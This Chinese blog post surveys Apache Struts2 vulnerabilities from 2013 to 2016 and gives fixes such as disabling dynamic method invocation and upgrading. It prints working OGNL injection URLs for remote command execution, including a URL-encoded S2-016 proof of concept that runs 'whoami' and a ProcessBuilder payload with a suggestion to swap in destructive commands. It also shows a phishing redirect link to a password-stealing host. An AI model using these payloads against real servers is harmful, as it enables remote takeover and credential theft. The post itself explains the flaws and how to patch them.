盘点近年来struts2产生的安全漏洞

JAVA herman 2425浏览 0评论
公告:“业余草”微信公众号提供免费CSDN下载服务(只下Java资源),关注业余草微信公众号,添加作者微信:xttblog,发送下载链接帮助你免费下载!
本博客日IP超过1800,PV 2600 左右,急需赞助商。
极客时间所有课程通过我的二维码购买后返现24元微信红包,请加博主新的微信号:xttblog,之前的微信号好友位已满,备注:返现
所有面试题(java、前端、数据库、springboot等)一网打尽,请关注文末小程序
视频教程免费领

最近几天Struts2上了各大技术博客的头条,整个朋友圈都被它刷屏了。使用Struts2开发框架的,相信不仅仅是国内的用户基数大,国外的也有大的科技公司在使用。现在的程序开发,已经离不开框架了,尤其是像Struts2这样的框架。因此每爆发一个安全漏洞都会影响整个互联网,用户的隐私,甚至是财产将是将不再安全。
早在2013年时,中国互联网就惨遭Struts2高危漏洞摧残。在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞,主要问题如下:
可远程执行服务器脚本代码 
用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的路径和参数,比如fdisk -f等,造成破环系统无法运行的目的。
重定向漏洞
用户可以构造如知名网站淘宝的重定向连接,形如<a href="http://www.淘宝.com/item00001.html?redirect:http://黑客/getyourPassword">打折新款</a>,引导用户点击后进入钓鱼网站,在界面上让其进行登陆用以获取用户的密码。
此问题被曝光之后,Apache团队紧急发布了Struts 2.3.15.1安全更新版本,用户可升级到此版本来解决上述问题。
2014年的devmode模式漏洞
Struts2框架存在一个devmode模式,方便开发人员调试程序,但是默认devmode是不开启的,如果想要使用,需要手动修改参数,可以将struts.properties中的devmode设置为true,或是在struts.xml中添加如下代码,

<constant name="struts.devMode" value="true" /> 

实际上devmode依赖于struts2底层的struts2-core.jar中的DebuggingInterceptor.java实现,然后漏洞也存在于此程序中。这里我以debug=command这个逻辑下,测试漏洞的POC如下所示:
http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 
而在最近,2016年4月26号,Struts2又被爆出动态方法调用安全漏洞。Apache Struts2服务在开启动态方法调用的情况下可以远程执行任意命令,官方编号S2-032,CVE编号CVE-2016-3081。
目前该漏洞的影响范围极广,涉及到互联网金融,银行,电商,支付,政府等在内的多个领域。修复该漏洞的方法有两种:
1.禁用动态方法调用
修改Struts2的配置文件,将"struts.enable.DynamicMethodInvocation"的值设置为false,比如:

<constant name="struts.enable.DynamicMethodInvocation" value="false" />

2、升级软件版本
如果条件允许,可升级Struts版本至2.3.20.2、2.3.24.2或者2.3.28.1,这几个版本都不存在此漏洞。
升级地址:https://struts.apache.org/download.cgi#struts23281

版权声明:本文为博主原创文章,未经博主允许不得转载。原文地址:http://www.xttblog.com/?p=478

业余草公众号

最后,欢迎关注我的个人微信公众号:业余草(yyucao)!可加QQ1群:135430763(2000人群已满),QQ2群:454796847(已满),QQ3群:187424846(已满)。QQ群进群密码:xttblog,想加微信群的朋友,之前的微信号好友已满,请加博主新的微信号:xttblog,备注:“xttblog”,添加博主微信拉你进群。备注错误不会同意好友申请。再次感谢您的关注!后续有精彩内容会第一时间发给您!原创文章投稿请发送至532009913@qq.com邮箱。商务合作可添加助理微信进行沟通!

本文原文出处:业余草: » 盘点近年来struts2产生的安全漏洞